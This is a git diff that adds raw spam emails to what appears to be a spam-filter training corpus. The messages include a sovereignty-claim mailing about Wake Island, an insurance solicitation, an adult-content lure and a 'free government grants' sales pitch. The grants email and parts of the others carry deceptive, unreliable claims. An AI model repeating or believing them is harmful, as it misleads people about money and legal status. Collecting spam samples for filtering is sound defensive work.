Defense Command of Huntsville, Alabama +issued an Environmental Impact Assessment for a proposed missile launch +program out of Wake Island; part of the "star wars" program, I am led to +believe. +An emergency meeting of the leaders of the future nation of EnenKio was +held and it was decided that earlier efforts to bring the atoll under +the jurisdiction of Hawaii would be abandoned in favor of affirmation of +independence, thus seeking self-rule under the natural landowner as +king. Letters to Mr. Clinton, members of Congress, U.S. Army and the +first press release proclaimed the status of ownership of EnenKio (Wake +I., Peale I., Wilkes I.), denounced the Army's so-called "no significant +impact" scheme to fire more than 800 rockets of an undisclosed nature +into and over the waters of the Marshall Islands (including its +sanctuaries for turtles and birds) and asserted rightful ownership +claims. +On March 21, 1994, a formal resolution was executed establishing the +nation of EnenKio as an independent nation under the authority of His +Majesty Murjel Hermios, who had granted special power of attorney to Mr. +Robert Moore, appointed Minister Plenipotentiary. The Constitution, +Succession Act and other documents were thereafter drafted. +On September 30th, a formal Declaration of Sovereignty was signed into +law by Ministers and selected delegate citizens, believing (as did the +USA founding fathers) that such power was an inherent right of the +people. It declared the Kingdom of EnenKio a sovereign independent +peaceful nation, it acknowledged His Majesty, King Murjel Hermios as +owner in allodium of the atoll, accepted him as Head of State and +embraced the Constitution as the founding document for a form of +democratic government. +Documents and letters were sent to numerous nations of the world +proclaiming the above actions. Formal documents of recognition were +presented, offer of diplomatic ties made and support for reciprocation +requested. Copies of pertinent documents were forwarded to the United +Nations, UN Security Council, NATO, South Pacific Commission and others. +Letters of personal appeal were sent to UN leaders. A special request +for protection and assistance was sent to the UN Security Council. +On October 10th, a commercial affidavit and demand for payment was sent +via certified mail to federal officers of the United States regarding +the illegal January 17, 1899 seizure, under force of arms, of the +islands of Eneen-Kio Atoll, the adverse occupation and continued +disregard of international Human rights law, UN Charter terms and terms +of the Compact of Free Association with the Republic of the Marshall +Islands (Public Law 99-239; January 14, 1986). Having acknowledged +receipt and failing to respond within a reasonable time, the U.S. is now +in default under commercial law, owing in excess of US$100 million. +The second official press release was issued on November 21, 1994, +relating the preceding events. Of all the agencies to whom it was sent, +only two, the Marshall Islands Journal, a weekly newspaper and Islands +Business Pacific magazine are known to have mentioned the story, then +only briefly. +Request for Media Response: +The thirst of the media for copy on topics outside of natural +calamities, treed cats and daily courtroom chronicles of violence and +deception seems seriously lacking. Is not the peaceful beginning of a +new nation news any more? Is not the restoration of native rights of an +aboriginal society whose roots reach into antiquity (to before the birth +of Jesus) worth a little journalistic investigation? How about +suspicions of insidious military-sanctioned activity which threatens the +security and peaceful existence of nations of the Pacific in the name of +"world leadership"? Or is it world domination? +People of EnenKio have a few simple requests of you, the media, in an +effort to draw international attention to this issue and thereby, +hopefully shorten the delay in regaining active occupation of islands of +their ancestral heritage: +1. Investigate and verify the circumstances of the illegal armed +invasion supported by U.S. expansionism and subsequent improper +annexation of the sacred islands of Eneen-Kio Atoll, then being utilized +by sailors, hunters and chiefs of the Marshallese civilization and for +at least 2000 years prior to the 1899 fiasco. (Note: These facts and +validity of the Hermios claim are a matter of historical record, not a +fabrication.) +2. Investigate and/or verify the circumstances of any evidence of +specific beneficial use and U.S. policy, past and present, or the lack +thereof, with regard to the role of EnenKio . (Note: It is my +understanding Wake was "decommissioned" after the so-called "processing" +of thousands of South Vietnamese refugees in the late 1970s). +3. Reflect on the contrasting history of U.S. occupation, war, +technological advances, in light of modern attitudes about misdeeds +against native peoples and the willingness of our people to develop +serious national economic programs for the benefit of all mankind. +4. Respectfully and conscientiously broadcast the credibility of the +king's claim of allodial title, the declaration of rights of the +citizens of EnenKio to self-determination and the commitment by their +government and leaders to promulgate their mandates in a responsible and +fiscal manner. +5. Bring to light U.S. strategy with regard to the implementation of +questionable and costly pet programs involving nuclear proliferation, +offensive/defensive weapon systems, clandestine military research, +environmental pollution and whatever else is going on there. (Note: +Congress and certain federal agencies have promoted use of Wake Island +and environs as platform for launching and testing hundreds of rockets +and missiles, a federal prison for drug offenders and other less +publicized projects.) +6. Fully disclose to the people of the United States U.S. strategy with +regard to the denial of possession of lawful title to Eneen-Kio Atoll by +King Hermios as a consequence of natural inheritance via time-honored +and respected Marshallese matriarchal traditions, disregard for Human +rights protected under international law, United Nations Charter and +conventions and the U.S. Compact with the Marshall Islands and refusal +to acknowledge liability for acts of piracy on the high seas of military +and colonial expansionism of the nineteenth century. (Note: U.S. apology +for the illegal armed overthrow of the Hawaiian Monarchy the prior year +and the return of the Hawaiian island, Kaho'olawe, also of religious +significance, has set precedents for the action demanded by EnenKio +citizens.) +Parting Shot: +What truly concerns me is the cavalier attitude of government in +general, the U.S. federal government more precisely, which somehow +behaves as if endowed by a divinely inspired alchemy that conveys the +right to rearrange lands, cultures and economics with out the slightest +inclination to counsel with those people most concerned. Such an +approach might be expected in some dictatorship in some distant corner +of the globe, but considering its present source, it is downright +alarming. It is worthwhile to mention here that despite a prominent +trail left over the course of more than two years, letters, reports, +forms, published articles, press releases, legal notices, documents and +virtually every action initiated by those representing King Hermios have +escaped official response from officers of the U.S. federal government. +Our not-too-distant past is replete with examples of the insatiable +thirst of western "civilized" nations for doctrines faithful to the cry +of "manifest destiny" which clearly marked American foreign policy of a +century ago. If this current trend signifies a resurgence, it can only +be considered a giant leap backward, considering the flimsy record of +American attempts at "fixing up the world". The title of ownership and +inheritance of Eneen-Kio Atoll pre-dates formation of the United States +by two centuries or more. It is time the significance of native cultures +and recognition of their right to self-determination is elevated from +matters of scientific discourse to mainstream political involvement in +determining the future course of human endeavor. People have a right to +know; the media a responsibility to show them. +In conclusion, I reiterate that our focus, from my point of view, is +one, not so much of opposition to the ominous might of U.S. political +philosophy and military prowess, but of asserting the moral imperatives +for correcting errors of the past, supporting restoration of Human +cultural dignity and the unobstructed observance of God-given individual +rights. +Thank you for your support and cooperation in helping end the siege and +forced exile of our proud citizenry. +TOP OF PAGE +November 21, 1994: News Release +In a bid to regain occupation of that portion of his ancestral lands +which include Wake Island, site of a U.S. military outpost, His Majesty, +King Murjel Hermios, through his legal representative, Minister +Plenipotentiary, Robert Moore, the U.S. has been given the boot out of +Wake Island. Moore served legal notice on top U.S. government officials +in October 1994 to cease all activity and leave the islands. The filing +came on the heels of a five-year struggle to gain recognition of the +illegal seizure of islands (owned by predecessors of King Hermios) by +the gun boat, USS Bennington in 1899. +The legal document, a Commercial Affidavit, Declaration of Fair Value +and Demand for Payment, was served under recognized principles of Common +Law and International Commercial Codes. It details the specifics of King +Hermios' ancestral rights to Wake Island, the illegality of the U.S. +claim and violations of native laws, International Agreements and human +rights during their 95-year hold on the Hermios property. It also +establishes default, recognized under law, by reason of failure to +answer the sworn claims, thereby allowing the Hermios claim to stand +valid before the law as unchallenged. Under those claims, demand was +made for payment of 94.7 million dollars for past use of the land. +Continued use and holdover of the atoll will add 5 million dollars per +month through 1995. +While putting forth the appearance of advocating human rights, U.S. +officials continue to ignore issues right in their own backyard which +keep King Hermios and the citizens of EnenKio living in compulsory +exile. +Eneen-Kio Atoll, a name derived from Marshallese traditions involving a +small orange (kio) flower found there, is made up of 3 islands, +including Wake. Predecessors in interest of King Hermios, aboriginal +chiefs and islanders sailed native canoes to Eneen-Kio Atoll for +religious and cultural purposes as much as 500 years BC. +During the colonial invasion of Pacific islands, western traders and +explorers consistently ignored the native traditions and rights of the +real discoverers of those fragile and isolated bits of sand, the +islanders themselves. A case in point is in that of the Hawaiians, who +recently gained an apology from the U.S. Congress and President Bill +Clinton for the illegal U.S. government overthrow of the Hawaiian +Monarchy. +King Hermios is presently acknowledged as the hereditary Paramount Chief +(Iroijlaplap) of all the Northern Atolls of the Ratak Archipelago of the +Marshall Islands, which terminates to the north, beyond Eneen-Kio Atoll. +Mr. Moore has full authority to act on the King's behalf to rid the +islands of their illegal and unwanted Occupation Forces in favor of +restoring the King's assertion of his native allodial rights. Most +recently occupying and holding the islands are agents of the U.S. Air +Force command, 15th Logistics Group, Hickam AFB, Hawaii. +Nearly identical articles published in the Star Bulletin and Honolulu +Advertiser on December 31, 1993 and January 1, 1994 headlined: "Air +Force willing to give up its hold on Wake Island" and stated: "Not much +activity there anymore, so the Air Force wants to give up control". +According to some theories thought to have reliable foundation, private +entities or other government agencies are fighting for control behind a +stonewall of apathy, denial and contempt for traditional ancestral +heritage of King Hermios, his predecessors and people. +Mr. Moore is also charged with the responsibility of bringing the nation +under active jurisdiction of its own independent government, to initiate +and administer to its citizens, promote economic development and to +direct all affairs of State. The democratic government is established as +a limited constitutional monarchy and is being directed by its Executive +Council. +Since 1987, despite repeated efforts to resolve the conflict and the +effects of a stroke, Mr. Moore has been unsuccessful in getting any +substantive reply from officers of the United States, military officers +and members of Congress. The following is a summary of some of the +recent letters, inquiries and statements of claims made on behalf of the +lawful and rightful landowner, King Murjel Hermios: +=C2=BB =C2=BB Formal letters to President Clinton and Vice-President Al +Gore +in February 1993, requesting consideration under programs promised in +their campaign for economic conversion of old military bases were +ignored. As a military base, Wake Airfield was "decommissioned" more +than a decade ago. +=C2=BB =C2=BB In response to the Environmental Assessment of the +proposed +Theater Missile Defense Rocket Launch Activities, formal letters of +protest sent to the Pentagon and U.S. Army officials, who contemplated +launching hundreds of missiles from Wake Island over several years into +the waters of the Marshall Islands, went unanswered. +=C2=BB =C2=BB Letters to members of the U.S. Congress protesting rocket +launch +activities and requesting help went unanswered. +=C2=BB =C2=BB A Resolution dated March 21, 1994 was signed which +declared the +status of EnenKio to be that of an independent nation under the +administrative jurisdiction of King Murjel Hermios. It was likewise +ignored. +After waiting for more than 580 days since "formal" notification of the +declared status of EnenKio and having heard no objection from the United +States, Mr. Moore assembled the Ministers of the Executive Council. +They, along with a few involved citizens living in exile and denied +access to Eneen-Kio, formally passed and signed the Declaration of +Sovereignty on September 30, 1994. They also accepted the draft of the +Constitution which establishes the democratic principles of government +recognizing His Majesty, King Murjel Hermios as Head of State and his +family as the First Royal Family of EnenKio . +While the King and his people bear no ill will against the multitudes of +foreign invaders of Eneen-Kio Atoll, which over the centuries included +agents of the Emperor of Japan, the Emperor of Germany, and the King of +Spain, they believe the time has come to acknowledge the errors of the +past, correct the conditions thereby produced and move on into the +future in support of the sacred principals of Truth, Honor and Peace. +Those principals are embodied in the Constitutions of EnenKio and of the +United States. +Those tenets were likewise embodied, affirmed and ratified by the U.S. +Congress in Public Law 99-239 (Jan. 14, 1986), signed by President +Ronald Reagan as the Compact of Free Association with the Marshall +Islands and Federated States of Micronesia. The compact acknowledges +superiority of all Marshallese "natural" rights, including those of +ownership and use of land. +Still mindful of the terrible threat of extraordinary U.S. military +might and the willingness to use it against even the smallest of nations +(e.g. Grenada, Haiti, Cuba, Hawaii, etc., etc.), Mr. Moore, other +Ministers and the citizens of EnenKio are determined to peacefully +displace the U.S. Occupation Forces and reassert the jurisdiction of His +Majesty, King Murjel Hermios. Filing the Commercial Affidavit document +was the first major legal step in a series of actions that could end up +in International Court of Justice in The Hague, Netherlands. +In an effort to garner support for the repatriation of her citizens, the +restoration of democratic control of EnenKio and to gain international +recognition of the innumerable native rights violations against the +Sovereign and his forebears, the Ministers of EnenKio have sent +documents of Notice and request for assistance to the United Nations +Security Council, the South Pacific Commission, similar organizations +and to the governments of most other nations of the world. +It is hoped that mutual recognition of sovereignty and the establishment +of diplomatic ties will invite the willful withdrawal of U.S. troops and +relinquishment of their unfounded territorial claims. At the same time, +Mr. Moore, in the service of His Majesty, King Murjel Hermios, wishes to +inform all of the people being held at Wake Island by force of arms or +by contract, that asylum will be offered to them. A similar offer is +made to all Marshallese descendants who desire to become citizens of +EnenKio. +News Article: Islands Business Pacific +News Article: Marshall Islands Journal +TOP OF PAGE +Reply to: EnenKio + +Robert Moore, Minister Plenipotentiary, Kingdom of EnenKio Foreign Trade +Mission +DO-MO-CO Manager, Remios Hermios Eleemosynary Trust, Majuro, Marshall +Islands +http://www.enenkio.org + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by: Jabber - The world's fastest growing +real-time communications platform! Don't just IM. Build it in! +http://www.jabber.com/osdn/xim +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/01084.c0005822ea0294c6eb9143276b93eb41 b/bayes/spamham/spam_2/01084.c0005822ea0294c6eb9143276b93eb41 new file mode 100644 index 0000000..92534ea --- /dev/null +++ b/bayes/spamham/spam_2/01084.c0005822ea0294c6eb9143276b93eb41 @@ -0,0 +1,306 @@ +From ag@insurancemail.net Fri Jul 26 00:01:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 596DC440E7 + for ; Thu, 25 Jul 2002 19:00:54 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 00:00:54 +0100 (IST) +Received: from mail1.insuranceiq.com (host66.insuranceiq.com + [65.217.159.66] (may be forged)) by dogma.slashnull.org (8.11.6/8.11.6) + with ESMTP id g6PN2m405057 for ; Fri, 26 Jul 2002 00:02:48 + +0100 +Received: from mail pickup service by mail1.insuranceiq.com with Microsoft + SMTPSVC; Thu, 25 Jul 2002 19:02:39 -0400 +Subject: Who Do You Trust? +To: +Date: Thu, 25 Jul 2002 19:02:39 -0400 +From: "IQ - Achievement Group" +Message-Id: <6168801c2342f$5f9a9a30$6b01a8c0@insuranceiq.com> +MIME-Version: 1.0 +X-Mailer: Microsoft CDO for Windows 2000 +Thread-Index: AcI0Go3IVr0S6Ld8Tze+uB96eeHIJQ== +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 +Content-Class: urn:content-classes:message +X-Originalarrivaltime: 25 Jul 2002 23:02:39.0406 (UTC) FILETIME=[5FBC04E0:01C2342F] +Content-Type: multipart/alternative; boundary="----=_NextPart_000_42AA1_01C233F9.06BE6710" + +This is a multi-part message in MIME format. + +------=_NextPart_000_42AA1_01C233F9.06BE6710 +Content-Type: text/plain; + charset="Windows-1252" +Content-Transfer-Encoding: 7bit + + Who do you trust? + Jake's Bona-Fide Non-guaranteed UL Universal Life with Iron-Clad +Guarantees + + Guaranteed Universal Life Portfolio + Guaranteed Death Benefit to Age 120 + Single or Survivorship Options Available + Guaranteed Return of Premium + Death Benefit Available for LTC + Single Premium Option for Capital + Transfer/Rescue Plans + A+ Rated Carrier + +Call or e-mail one of our regional officers today! + +Northeast +800-783-6127 +Mike McIntire Southeast +800-330-5801 +Jerry Cantrell Midwest +866-407-4404 +Scott Freeman West +800-352-6388 +Dick Lankow +? or ? + +Please fill out the form below for more information +Name: +E-mail: +Phone: +City: State: + + + +We don't want anyone to receive our mailings who does not wish to. This +is professional communication sent to insurance professionals. To be +removed from this mailing list, DO NOT REPLY to this message. Instead, +go here: http://www.Insurancemail.net + +Legal Notice + +------=_NextPart_000_42AA1_01C233F9.06BE6710 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + +Who Do You Trust? + + + +=20 + + =20 + + + =20 + + +
    + 3D"Who
    + 3D"Jake's3D"Universal
    + + =20 + + + =20 + + + =20 + + + =20 + + + =20 + + +
    3D"Guaranteed
    =20 + + =20 + + + + =20 + + + + =20 + + + + =20 + + + + =20 + + + + =20 + + + +
     Guaranteed = +Death Benefit to Age 120
     Single or = +Survivorship Options Available
     Guaranteed = +Return of Premium
     Death = +Benefit Available for LTC
     Single = +Premium Option for Capital
    +  Transfer/Rescue Plans
     A+ Rated = +Carrier
    +
     
    + Call or e-mail one of our regional = +officers today!
    + + =20 + + + + + +
    Northeast
    + 800-783-6127
    + Mike McIntire    		Southeast
    + 800-330-5801
    + Jerry Cantrell    		Midwest
    + 866-407-4404
    + Scott Freeman    		West
    + 800-352-6388
    + Dick Lankow
    +
    — or = +—
    + + =20 + + + + + +
    =20 + + =20 + + + =20 + + + + =20 + + + + =20 + + + + =20 + + + + + + + =20 + + + + + +
    Please fill = +out the form below for more information
    Name:=20 + +
    E-mail:=20 + +
    Phone:=20 + +
    City:=20 + + State:=20 + +
     =20 + +  =20 + + +
    +
    +  
    +
    =20 +

    We = +don't want anyone=20 + to receive our mailings who does not wish to. This is = +professional communication=20 + sent to insurance professionals. To be removed from this mailing = +list,=20 + DO NOT REPLY to this message. Instead, go here: =20 + http://www.Insurancemail.net

    +
    +
    + Legal Notice=20 +
    +    =20 + + + +------=_NextPart_000_42AA1_01C233F9.06BE6710-- + + diff --git a/bayes/spamham/spam_2/01085.0deb0d9335e8db6cbf1021ae3c62198c b/bayes/spamham/spam_2/01085.0deb0d9335e8db6cbf1021ae3c62198c new file mode 100644 index 0000000..8e559c0 --- /dev/null +++ b/bayes/spamham/spam_2/01085.0deb0d9335e8db6cbf1021ae3c62198c @@ -0,0 +1,116 @@ +From jm@netnoteinc.com Thu Jul 25 23:24:48 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0E47D440E7 + for ; Thu, 25 Jul 2002 18:24:44 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 23:24:44 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6PMMg402620 for + ; Thu, 25 Jul 2002 23:22:43 +0100 +Received: from [193.130.11.161] ([193.130.11.161]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with SMTP id g6PMLSp24140 for + ; Thu, 25 Jul 2002 23:21:39 +0100 +X-Authentication-Warning: mandark.labs.netnoteinc.com: [193.130.11.161] + didn't use HELO protocol +Reply-To: yyyy@netnoteinc.com +From: yyyy@netnoteinc.com +Received: from netnoteinc.com by 9RN8VV8Y.netnoteinc.com with SMTP for + jm@netnoteinc.com; Thu, 25 Jul 2002 18:28:55 -0500 +To: yyyy@netnoteinc.com +Date: Thu, 25 Jul 2002 18:28:55 -0500 +X-Encoding: MIME +Message-Id: <046G9H4890.4NAK2L08LHSQ274W7VU.yyyy@netnoteinc.com> +Subject: Adult Passwords Here +X-Sender: yyyy@netnoteinc.com +MIME-Version: 1.0 +Content-Type: multipart/alternative; boundary="----=_NextPart_1493_212580644306344345450286" +Content-Transfer-Encoding: quoted-printable + +This is a multi-part message in MIME format. + +------=_NextPart_1493_212580644306344345450286 +Content-Type: text/plain; + charset=iso-8859-1 +Content-Transfer-Encoding: Quoted-Printable + +**** CELEBRITIES EXPOSED **** + +Jennifer Love Huitt Gets BareNaked! +J-LO Takes Some "Puffy" + +No Credit Cards, No Checks +IT'S FREE! + +http://www.free-celebhardcore.com/10391 + + + +------=_NextPart_1493_212580644306344345450286 +Content-Type: text/html; + charset=iso-8859-1 +Content-Transfer-Encoding: Quoted-Printable + + + + + + ad2 + + + +
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    + + + + +--__________MIMEboundary__________-- + +. + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by: Jabber - The world's fastest growing +real-time communications platform! Don't just IM. Build it in! +http://www.jabber.com/osdn/xim +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/01087.1e2be9287da9292b2553aaceaab8900b b/bayes/spamham/spam_2/01087.1e2be9287da9292b2553aaceaab8900b new file mode 100644 index 0000000..695a3f8 --- /dev/null +++ b/bayes/spamham/spam_2/01087.1e2be9287da9292b2553aaceaab8900b @@ -0,0 +1,602 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6P4hKi5031186 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Wed, 24 Jul 2002 23:43:21 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6P4hKiI031176 + for cypherpunks-forward@ds.pro-ns.net; Wed, 24 Jul 2002 23:43:20 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6P4h9i5031156 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Wed, 24 Jul 2002 23:43:11 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6P4h6J66147 + for ; Thu, 25 Jul 2002 00:43:06 -0400 (EDT) + (envelope-from cpunks@waste.minder.net) +Received: (from cpunks@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6P4h3S23771 + for cypherpunks@ds.pro-ns.net; Thu, 25 Jul 2002 00:43:03 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6P4h1R23749 + for ; Thu, 25 Jul 2002 00:43:01 -0400 +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6P4gwJ66133 + for ; Thu, 25 Jul 2002 00:42:58 -0400 (EDT) + (envelope-from cpunks@einstein.ssz.com) +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id XAA29516 + for cpunks@minder.net; Wed, 24 Jul 2002 23:51:59 -0500 +Received: (from mdom@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id XAA29507 + for cypherpunks-outgoing; Wed, 24 Jul 2002 23:51:55 -0500 +Received: from earthlink.net (squid@203186143185.ctinets.com [203.186.143.185]) + by einstein.ssz.com (8.8.8/8.8.8) with SMTP id XAA29490 + for ; Wed, 24 Jul 2002 23:51:45 -0500 +From: danet@earthlink.net +Received: from f64.law4.hottestmale.com ([72.167.145.190]) + by hd.ressort.net with local; 25 Jul 2002 05:42:37 +0100 +Received: from unknown (HELO anther.webhostingtotalk.com) (9.108.156.125) + by rly-xr02.nikavo.net with smtp; 25 Jul 2002 06:41:32 +0600 +Received: from unknown (45.14.200.201) + by rly-xw05.oxyeli.com with esmtp; 25 Jul 2002 12:40:27 -0800 +Message-ID: <033a31a71c0d$3154b3e7$3db87cd5@gpywxf> +To: +Old-Subject: CDR: The Government Grants You $25,000! +Date: Thu, 25 Jul 2002 14:31:23 -1000 +MiME-Version: 1.0 +Content-Type: text/html; charset="iso-8859-1" +X-Priority: 3 (Normal) +X-MSMail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.00.2615.200 +Importance: Normal +Sender: owner-cypherpunks@einstein.ssz.com +Precedence: bulk +Reply-To: cypherpunks@einstein.ssz.com +X-Mailing-List: cypherpunks@ssz.com +X-Unsubscription-Info: http://einstein.ssz.com/cdr +X-List-Admin: list@ssz.com +X-Loop: ssz.com +X-Acceptable-Languages: English, Russian, German, French, Spanish +Subject: The Government Grants You $25,000! + + + + +
    +

    +  +Free Personal and Business Grants

    + +

      +

    + + + +
    +
    +

    +" Qualify for at least $25,000 in free +grants money - Guaranteed! "

    +
    + +
    +

    +Each day over One Million Dollars in Free +Government
    +Grants  is given away to people just like you for a wide
    +variety of Business And Personal Needs

    +        +Dear Grant Seeker, +
    In a moment, I'll tell you +exactly HOW & WHERE to get Grants. This MONEY has to +be given away, WHY not to YOU?
    + +
    You may be thinking, "How +can I get some of this Free Grants Money"
    + +
    Maybe you think it's impossible +to get free money?
    + +
    Let me tell you it's not +impossible! It's a fact, ordinary people and businesses all across the +United States are receiving millions of dollars from these Government and +Private Foundation's everyday.
    + +
    Who Can Apply?
    + +
    ANYONE can apply +for a Grant from 18 years old and up!
    + +
    Grants from $500.00 to $50,000.00 +are possible! GRANTS don't have to be paid back, +EVER! Claim +your slice of the FREE American Pie.
    + +
    This money is not a loan, +Trying to get money through a conventional bank can be very time consuming +and requires a lot of paperwork, only to find out that you've been denied. +These Government Agencies don't have to operate under the same stringent +requirements that banks do.
    + +
    You decide how much money +you need, as long as it's a lawful amount and meets with the Government +Agencies criteria, the money is yours to keep and never has to be repaid. +This money is non taxable & interest free.
    + +
    None of these programs require +a credit check, collateral, security deposits or co-signers, you can apply +even if you have a bankruptcy or bad credit, it doesn't matter, you as +a tax payer and U.S. citizen are entitled to this money.
    + +
    There are currently over +1,400 Federal Programs, 24,000 State Programs, 30,000 Private Foundations +and 20,000 Scholarship Programs available.
    + +
    This year over $30 Billion +Dollars In Free personal and business Government Grants Money will be given +away by Government Grants Agencies.
    + + +
      +
    + + + +
    +
    +

    +Government Personal +and Business Grants Facts:

    +Over 20 Million People Get Government +Money Every Year: +
      1,000,000 entrepreneurs get money +to start or expand a business +

      4,000,000 people get money to invest +in real estate +

      6,000,000 people get money to go +to college +

      10,000,000 people get free help and +training for a better job

    +
    + +

    +Getting Business +Grants

    + +
    Anyone thinking about going +into business for themselves, or wanting to expand an existing business +should rush for the world's largest "one-stop-money-shop" where FREE business +grants to start or expand a business is being held for you by the Federal +Government.
    + +
    It +sounds absolutely incredible that people living right here in the United +States of America wouldn't know that each year the world's largest source +of free business help delivers:
    + +
      Over $30 billion dollars in free +business grants and low-interest loans; +

      over one-half trillion dollars in +procurement contracts; and +

      over $32 billion dollars in FREE +consulting and research grants.

    + +
    With an economy that remains +unpredictable, and a need for even greater economic development on all +fronts, the federal government is more willing than it ever has been before +to give you the money you need to own your own business and become your +own boss!
    + +
    In +spite of the perception that people should not look to the government for +help, the great government give-away programs have remained so incredibly +huge that if each of the approximately 8 million businesses applied for +an equal share, they would each receive over $70,000.
    + +
    Most +people never apply for FREE Business Grants because they somehow feel it +isn't for them, feel there's too much red-tape, or simply don't know who +to contact.The fact is, however, that people from all walks of life do +receive FREE GRANTS MONEY and other benefits from the government, and you +should also.
    + +

    +Government Grants +for Personal Need

    + +
    Help to buy a new home for +low income families, repair your home, rent, mortgage payments, utility +bills, purchase a new car, groceries, childcare, fuel, general living expenses, +academic tutoring, clothing, school supplies, housing assistance, legal +services, summer camp, debts, music lessons, art lessons, any extracurricular +activities, pay bills for senior citizens, real estate taxes, medical expenses +and general welfare. If you or someone you know suffered a fire lose there +are programs available to help in replacing necessities.
    + +

    +Scholarships And +Grants For Education

    + +
    Grant Money for preschool +children and nursery school education, private, primary and secondary schools, +men and women to further their education, scholarships for athlete's, business +management, engineering, computer science, medical school, undergraduate, +graduate, professional, foreign studies and many more.
    + +

    +Here's How You +Can Get Free Grants
    +In The Shortest Time Possible

    + +
    Once you know how and where +to apply for a specific Free Grant, results are almost inevitable. The +government wants to give away this money. . . it is under congressional +mandate to do so! These funds are made available to help you, the tax payer. +All that's required from you is the proper presentation of your grant request. +That's all.
    +Announcing... +
    +

    +"The Complete +Guide To Government Grants"

    + +
    Forget just about everything +you've seen or heard about government grants. What I've done is put together +a complete blueprint for researching, locating and obtaining government +grants. "The Complete Guide To Government Grants" is the most comprehensive +tool for obtaining free grant money, and it comes in an Electronic book +
    (e-book) format, meaning you can +download and start using it minutes after you order.
    + +
    The +Complete Guide to Government Grants will provide you with access to thousands +of grant and loan sources, with step by step instructions to proposal writing +and contact procedures.
    +In the Complete Guide to Government +Grants you'll find: +
    Step by step guidelines +to applying for government grants
    + +
    Direct access to over 1,400 +grant, loan and assistance programs offered by the U.S. federal government. +All you need to do is Click & Find your program from the detailed categorized +listings
    + +
    Direct access to thousands +of resources of state specific grant programs
    + +
    Name, phone number and address +of an expert in your state that will answer your grant related questions +and help you with the grant application... free of charge
    + +
    Online directory of government +supported venture capital firms
    + +
    A unique search tool that +will allow you to generate a customized listing of recently announced grant +programs
    + +
    Government funding programs +for small businesses
    + +
    Top 100 government programs +(based on number of inquiries), discover what are the most sought after +government grants and assistant programs. Claim your slice of the FREE +American Pie
    + +
    Online Directory of federal +and state resources for government scholarships and grants for education
    + +
    Step by step guidelines +to locating grants, loans and assistant programs for starting a new business +or expanding an existing one
    + +
    How to get free small business +counseling and expert advice courtesy of the US government
    + +
    Government grants application +forms
    + +
    Direct access to thousands +of government grants programs covering: small businesses, home improvement, +home buying and homeownership, land acquisition, site preparation for housing, +health, assistance and services for the unemployed, job training, federal +employment, education, and much much more
    + +
    How to develop and write +grant proposals that get results
    + +
    ...Plus much more
    +The Complete Guide to Government +Grants is so comprehensive, it provides you with direct access to practically +every source of FREE government grants money currently available. +
    If you're an American citizen +or resident, you are entitled to free grant money ranging from $500 to +$250,000 or more. If you are Black you have already qualified for 15 programs, +being Hispanic, you qualify for many programs. Being a Christian will get +you into 20 programs, there are also many other programs available for +different faiths, Jewish, Catholic. Not having any money, will get you +into over 30 programs, 550 programs if you are unemployed, or underemployed. +The list and sources are endless.
    + +
    You Are Eligible! This money +is Absolutely Free and will be yours to use for any worthwhile purpose.
    + +
    Did you know you can apply +for as many grants as you want?
    + +
    It's true, For instance, +you could get a $65,000 grant to begin a weight loss business, get $8,800 +in tuition to become a nurse or $35,000 to open up the day-care center, +you've always dreamed of owning. And then, go out and apply for a grant +to buy a home for you and your family. And once your new business starts +doing well you could go out and get another grant for expansion of your +business. The possibilities are endless.
    + + +
      +
    + + + +
    +

    +You Must Qualify +For At Least $25,000 In Free
    +Grants Money, Or Your Money Back!

    + +
    We are so confident in our +Grants Guide that If you have not received at least $25,000 in free grant +money, or, if you are unhappy with our e-book for any reason within the +next 12 months, Just send the e-book back and we will refund your entire +payment. NO QUESTIONS ASKED!!
    + +
